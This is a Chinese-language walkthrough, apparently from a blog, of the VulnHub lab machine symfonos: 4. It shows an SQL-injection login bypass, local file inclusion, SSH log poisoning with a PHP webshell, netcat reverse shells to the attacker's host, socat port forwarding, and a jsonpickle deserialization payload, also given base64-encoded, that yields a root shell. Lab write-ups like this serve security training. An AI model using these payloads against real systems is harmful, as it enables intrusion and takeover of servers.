标签:万能密码、本地文件包含、日志文件注入、端口转发、json pickle提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/symfonos-4,347/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:
Name: symfonos: 4
Difficulty: Intermediate
Tested: VirtualBox
DHCP Enabled
OSCP-like Intermediate real life based machine designed to teach people the importance of trying harder.
We had issues importing with VMware. VirtualBox works okay.
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
靶机地址是192.168.1.136
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.1.136
看一下80端口
嗨,还是一张图片,扫一下目录
3.目录扫描
本来我开始用的是dirsearch,但是它扫描不出来php后缀名的文件,我写了-e参数,但是扫不出来,没办法只好换了个工具,这是我当时写的命令,如果有老哥知道是哪里出现问题的话麻烦告诉我一下。
然后我换了gobuster工具来扫描目录,下载地址:https://github.com/OJ/gobuster/releases,
字典:/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描出两个php文件和一个目录
看一下http://192.168.1.136/gods
页面
发现了三个文件,下载下来看一下
三个神话故事。做了这么多这个系列,已经见怪不怪了。。。
访问一下sea.php文件,直接跳转到了atlantis.php
是个登录界面
0x02 万能密码
登录页面尝试一下万能密码:
Fuzz1:
Username:admin
Password:admin' or 1=1 #
失败
Fuzz2:
Username:admin' or 1=1 #
Password:admin
成功
成功登录。用户名写成admin' ;
也可以登录。
登录后跳转到了sea.php页面。
页面有个下拉框,可以选择3个选项,选择一个选项后会出现对应的神话故事,和刚才我们下载的三个文件中的内容一样。猜测这里加载了/gods
目录下的文件。
0x03 本地文件包含LFI
使用burp抓包,fuzz一下是否存在本地文件包含。
确实存在文件包含漏洞。但是不能读取/etc/passwd
,可能是权限不够。这里读取的文件是/var/log/auth
,它是ssh日志文件。正好可以通过ssh向里面写入恶意代码。
0x04 日志文件注入代码——反弹shell
通过ssh向/var/log/auth
文件注入php代码。
命令:ssh '<?php system($_GET["cmd"]);?>'@192.168.1.136
查看是否可以执行代码:
成功执行。
反弹shell,先在kali上监听一个端口
然后在burp上输入反弹shell的命令:nc+-e+/bin/bash+192.168.1.31+4444
。使用burp的话,要用加号代替空格。
成功接收到shell
0x05 端口转发
netstat
命令不可用,uname -a
发现是Debian系统,尝试使用ss -tulpn
命令
可以执行,发现本地监听了一个8080端口
如果要访问这个端口就需要端口转发了,查看一下靶机中是否有端口转发的工具
发现靶机中有socat工具,这个工具有端口转发的功能。
那就把靶机的8080端口转发到靶机的7000端口上,一会访问靶机7000端口就相当于访问靶机的8080端口了。
命令:socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080
点击Main page
0x06 json pickle提权
没有什么信息,就是两个页面,使用burp抓包看看。
点击Main page后,抓到的包里cookie中有个username参数,后面的值看起来被base64加密了
解密看一下
看起来像是一种json格式。这个地方我没遇到过,看了下国外大佬的文章,他参考的是这个链接https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/
我英文不是很好,看了下大概:这是python的pickle模块,这个模块的功能类似于序列化和反序列化的功能,它主要是对Python对象结构进行序列化和反序列化。
文章中给了一个例子:
encoded = jsonpickle.encode(Shell())
[*] JSON encoded Pickle: {"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}
这个例子可以把whoami
这条系统命令序列化。
现在我们想要getshell,那就把whoami
修改成反弹shell的命令试一下。
将我们修改后的语句进行base64加密,
然后在kali中监听7777端口,将刚才加密后的密文放到cookie的username中,使用burp发包
但是kali并没有接收到shell
又看了一眼表哥的文章,发现还要修改一些东西
要把这里修改成os.system
加密前语句:
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["nc -e /bin/bash 192.168.1.31 7777"]}, null, null, null]}
加密后语句:
IHsicHkvb2JqZWN0IjogIl9fbWFpbl9fLlNoZWxsIiwgInB5L3JlZHVjZSI6IFt7InB5L3R5cGUiOiAib3Muc3lzdGVtIn0sIHsicHkvdHVwbGUiOiBbIm5jIC1lIC9iaW4vYmFzaCAxOTIuMTY4LjEuMzEgNzc3NyJdfSwgbnVsbCwgbnVsbCwgbnVsbF19
将修改后的密文粘贴到burp中,再次发包
这次接收到shell了,而且身份直接就是root,不用提权了
flag在/root下
呀呼!一给我里giao!
0x07 小结
本靶机重点是信息搜集时候的目录扫描,只有扫描出目录,才能进行下面的操作。在扫描出敏感目录后,使用万能密码进行登录,登录后发现存在本地文件包含漏洞,通过爆破文件,发现了/var/log/auth
文件,这是一个记录ssh日志的文件,通过向ssh注入恶意代码后,可以getshell。查看靶机的内网发现靶机还在监听本地的8080端口,端口转发进行访问。访问网站后,发现cookie中有一些问题,使用json pickle进行getshell,getshell后直接就是root权限了。
由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”
参考链接:
1.https://pentesterjourney.com/2019/10/04/vulnhub-symfonos-4-walkthrough/
2.Linux日志文件/var/log详解
3.dirsearch v0.3.9
4.https://github.com/OJ/gobuster/releases
5.在线加密解密